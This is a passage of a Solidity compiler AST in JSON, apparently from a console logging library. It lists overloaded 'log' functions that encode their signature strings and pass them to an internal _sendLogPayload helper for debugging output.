ble":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17733,"name":"bool","nodeType":"ElementaryTypeName","src":"17858:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"17836:30:14"},"returnParameters":{"id":17736,"nodeType":"ParameterList","parameters":[],"src":"17881:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17768,"nodeType":"FunctionDefinition","src":"17982:158:14","nodes":[],"body":{"id":17767,"nodeType":"Block","src":"18042:98:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c6164647265737329","id":17760,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"18092:27:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_f11699ed537119f000a51ba9fbd5bb55b3990a1a718acbe99659bd1bc84dc18d","typeString":"literal_string \"log(address,bool,address)\""},"value":"log(address,bool,address)"},{"id":17761,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17750,"src":"18121:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17762,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17752,"src":"18125:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":17763,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17754,"src":"18129:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f11699ed537119f000a51ba9fbd5bb55b3990a1a718acbe99659bd1bc84dc18d","typeString":"literal_string \"log(address,bool,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":17758,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"18068:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17759,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"18072:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"18068:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17764,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18068:64:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17757,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"18052:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17765,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18052:81:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17766,"nodeType":"ExpressionStatement","src":"18052:81:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"17991:3:14","parameters":{"id":17755,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17750,"mutability":"mutable","name":"p0","nameLocation":"18003:2:14","nodeType":"VariableDeclaration","scope":17768,"src":"17995:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17749,"name":"address","nodeType":"ElementaryTypeName","src":"17995:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17752,"mutability":"mutable","name":"p1","nameLocation":"18012:2:14","nodeType":"VariableDeclaration","scope":17768,"src":"18007:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17751,"name":"bool","nodeType":"ElementaryTypeName","src":"18007:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":17754,"mutability":"mutable","name":"p2","nameLocation":"18024:2:14","nodeType":"VariableDeclaration","scope":17768,"src":"18016:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17753,"name":"address","nodeType":"ElementaryTypeName","src":"18016:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"17994:33:14"},"returnParameters":{"id":17756,"nodeType":"ParameterList","parameters":[],"src":"18042:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17788,"nodeType":"FunctionDefinition","src":"18146:158:14","nodes":[],"body":{"id":17787,"nodeType":"Block","src":"18206:98:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c75696e7429","id":17780,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"18256:27:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_6c366d7295b93bbfacc4df0ea28f0eef60efacfffd447f8f2823cbe5b2fedb07","typeString":"literal_string \"log(address,address,uint)\""},"value":"log(address,address,uint)"},{"id":17781,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17770,"src":"18285:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17782,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17772,"src":"18289:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17783,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17774,"src":"18293:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6c366d7295b93bbfacc4df0ea28f0eef60efacfffd447f8f2823cbe5b2fedb07","typeString":"literal_string \"log(address,address,uint)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":17778,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"18232:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17779,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"18236:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"18232:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17784,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18232:64:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17777,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"18216:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17785,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18216:81:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17786,"nodeType":"ExpressionStatement","src":"18216:81:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"18155:3:14","parameters":{"id":17775,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17770,"mutability":"mutable","name":"p0","nameLocation":"18167:2:14","nodeType":"VariableDeclaration","scope":17788,"src":"18159:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17769,"name":"address","nodeType":"ElementaryTypeName","src":"18159:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17772,"mutability":"mutable","name":"p1","nameLocation":"18179:2:14","nodeType":"VariableDeclaration","scope":17788,"src":"18171:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17771,"name":"address","nodeType":"ElementaryTypeName","src":"18171:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17774,"mutability":"mutable","name":"p2","nameLocation":"18188:2:14","nodeType":"VariableDeclaration","scope":17788,"src":"18183:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17773,"name":"uint","nodeType":"ElementaryTypeName","src":"18183:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"18158:33:14"},"returnParameters":{"id":17776,"nodeType":"ParameterList","parameters":[],"src":"18206:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17808,"nodeType":"FunctionDefinition","src":"18310:169:14","nodes":[],"body":{"id":17807,"nodeType":"Block","src":"18379:100:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c737472696e6729","id":17800,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"18429:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_007150be50a4671a6be318012e9cd2eabb1e1bc8869b45c34abbaa04d81c8eee","typeString":"literal_string \"log(address,address,string)\""},"value":"log(address,address,string)"},{"id":17801,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17790,"src":"18460:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17802,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17792,"src":"18464:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17803,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17794,"src":"18468:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_007150be50a4671a6be318012e9cd2eabb1e1bc8869b45c34abbaa04d81c8eee","typeString":"literal_string \"log(address,address,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":17798,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"18405:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17799,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"18409:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"18405:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17804,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18405:66:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17797,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"18389:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17805,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18389:83:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17806,"nodeType":"ExpressionStatement","src":"18389:83:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"18319:3:14","parameters":{"id":17795,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17790,"mutability":"mutable","name":"p0","nameLocation":"18331:2:14","nodeType":"VariableDeclaration","scope":17808,"src":"18323:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17789,"name":"address","nodeType":"ElementaryTypeName","src":"18323:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17792,"mutability":"mutable","name":"p1","nameLocation":"18343:2:14","nodeType":"VariableDeclaration","scope":17808,"src":"18335:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17791,"name":"address","nodeType":"ElementaryTypeName","src":"18335:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17794,"mutability":"mutable","name":"p2","nameLocation":"18361:2:14","nodeType":"VariableDeclaration","scope":17808,"src":"18347:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":17793,"name":"string","nodeType":"ElementaryTypeName","src":"18347:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"18322:42:14"},"returnParameters":{"id":17796,"nodeType":"ParameterList","parameters":[],"src":"18379:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17828,"nodeType":"FunctionDefinition","src":"18485:158:14","nodes":[],"body":{"id":17827,"nodeType":"Block","src":"18545:98:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c626f6f6c29","id":17820,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"18595:27:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_f2a6628622808c8bbef4f3e513ab11e708a8f5073988f2f7988e111aa26586dc","typeString":"literal_string \"log(address,address,bool)\""},"value":"log(address,address,bool)"},{"id":17821,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17810,"src":"18624:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17822,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17812,"src":"18628:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17823,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17814,"src":"18632:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f2a6628622808c8bbef4f3e513ab11e708a8f5073988f2f7988e111aa26586dc","typeString":"literal_string \"log(address,address,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":17818,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"18571:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17819,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"18575:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"18571:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17824,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18571:64:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17817,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"18555:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17825,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18555:81:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17826,"nodeType":"ExpressionStatement","src":"18555:81:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"18494:3:14","parameters":{"id":17815,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17810,"mutability":"mutable","name":"p0","nameLocation":"18506:2:14","nodeType":"VariableDeclaration","scope":17828,"src":"18498:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17809,"name":"address","nodeType":"ElementaryTypeName","src":"18498:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17812,"mutability":"mutable","name":"p1","nameLocation":"18518:2:14","nodeType":"VariableDeclaration","scope":17828,"src":"18510:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17811,"name":"address","nodeType":"ElementaryTypeName","src":"18510:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17814,"mutability":"mutable","name":"p2","nameLocation":"18527:2:14","nodeType":"VariableDeclaration","scope":17828,"src":"18522:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":17813,"name":"bool","nodeType":"ElementaryTypeName","src":"18522:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"18497:33:14"},"returnParameters":{"id":17816,"nodeType":"ParameterList","parameters":[],"src":"18545:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17848,"nodeType":"FunctionDefinition","src":"18649:164:14","nodes":[],"body":{"id":17847,"nodeType":"Block","src":"18712:101:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c6164647265737329","id":17840,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"18762:30:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_018c84c25fb680b5bcd4e1ab1848682497c9dd3b635564a91c36ce3d1414c830","typeString":"literal_string \"log(address,address,address)\""},"value":"log(address,address,address)"},{"id":17841,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17830,"src":"18794:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17842,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17832,"src":"18798:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":17843,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17834,"src":"18802:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_018c84c25fb680b5bcd4e1ab1848682497c9dd3b635564a91c36ce3d1414c830","typeString":"literal_string \"log(address,address,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":17838,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"18738:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17839,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"18742:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"18738:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17844,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18738:67:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17837,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"18722:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17845,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18722:84:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17846,"nodeType":"ExpressionStatement","src":"18722:84:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"18658:3:14","parameters":{"id":17835,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17830,"mutability":"mutable","name":"p0","nameLocation":"18670:2:14","nodeType":"VariableDeclaration","scope":17848,"src":"18662:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17829,"name":"address","nodeType":"ElementaryTypeName","src":"18662:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17832,"mutability":"mutable","name":"p1","nameLocation":"18682:2:14","nodeType":"VariableDeclaration","scope":17848,"src":"18674:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17831,"name":"address","nodeType":"ElementaryTypeName","src":"18674:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":17834,"mutability":"mutable","name":"p2","nameLocation":"18694:2:14","nodeType":"VariableDeclaration","scope":17848,"src":"18686:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":17833,"name":"address","nodeType":"ElementaryTypeName","src":"18686:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"18661:36:14"},"returnParameters":{"id":17836,"nodeType":"ParameterList","parameters":[],"src":"18712:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17871,"nodeType":"FunctionDefinition","src":"18819:164:14","nodes":[],"body":{"id":17870,"nodeType":"Block","src":"18882:101:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c75696e742c75696e742c75696e7429","id":17862,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"18932:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_5ca0ad3ec7f731e4661cde447171efd221faf44c50b57eba4cc4965c1f89c0b6","typeString":"literal_string \"log(uint,uint,uint,uint)\""},"value":"log(uint,uint,uint,uint)"},{"id":17863,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17850,"src":"18960:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":17864,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17852,"src":"18964:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":17865,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17854,"src":"18968:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":17866,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":17856,"src":"18972:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5ca0ad3ec7f731e4661cde447171efd221faf44c50b57eba4cc4965c1f89c0b6","typeString":"literal_string \"log(uint,uint,uint,uint)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":17860,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"18908:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":17861,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"18912:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"18908:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":17867,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18908:67:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":17859,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"18892:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":17868,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18892:84:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":17869,"nodeType":"ExpressionStatement","src":"18892:84:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"18828:3:14","parameters":{"id":17857,"nodeType":"ParameterList","parameters":[{"constant":false,"id":17850,"mutability":"mutable","name":"p0","nameLocation":"18837:2:14","nodeType":"VariableDeclaration","scope":17871,"src":"18832:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17849,"name":"uint","nodeType":"ElementaryTypeName","src":"18832:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":17852,"mutability":"mutable","name":"p1","nameLocation":"18846:2:14","nodeType":"VariableDeclaration","scope":17871,"src":"18841:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17851,"name":"uint","nodeType":"ElementaryTypeName","src":"18841:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":17854,"mutability":"mutable","name":"p2","nameLocation":"18855:2:14","nodeType":"VariableDeclaration","scope":17871,"src":"18850:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17853,"name":"uint","nodeType":"ElementaryTypeName","src":"18850:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":17856,"mutability":"mutable","name":"p3","nameLocation":"18864:2:14","nodeType":"VariableDeclaration","scope":17871,"src":"18859:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":17855,"name":"uint","nodeType":"ElementaryTypeName","src":"18859:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"18831:36:14"},"returnParameters":{"id":17858,"nodeType":"ParameterList","parameters":[],"src":"18882:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":17894,"nodeType":"FunctionDefinition","src":"18989:175:14","nodes":[],"body":{"id":17893,"nodeType":"Block","src":"19061:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c75696e742c75696e742c737472696e6729","id":17885,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"19111:28:14","typeDescriptions"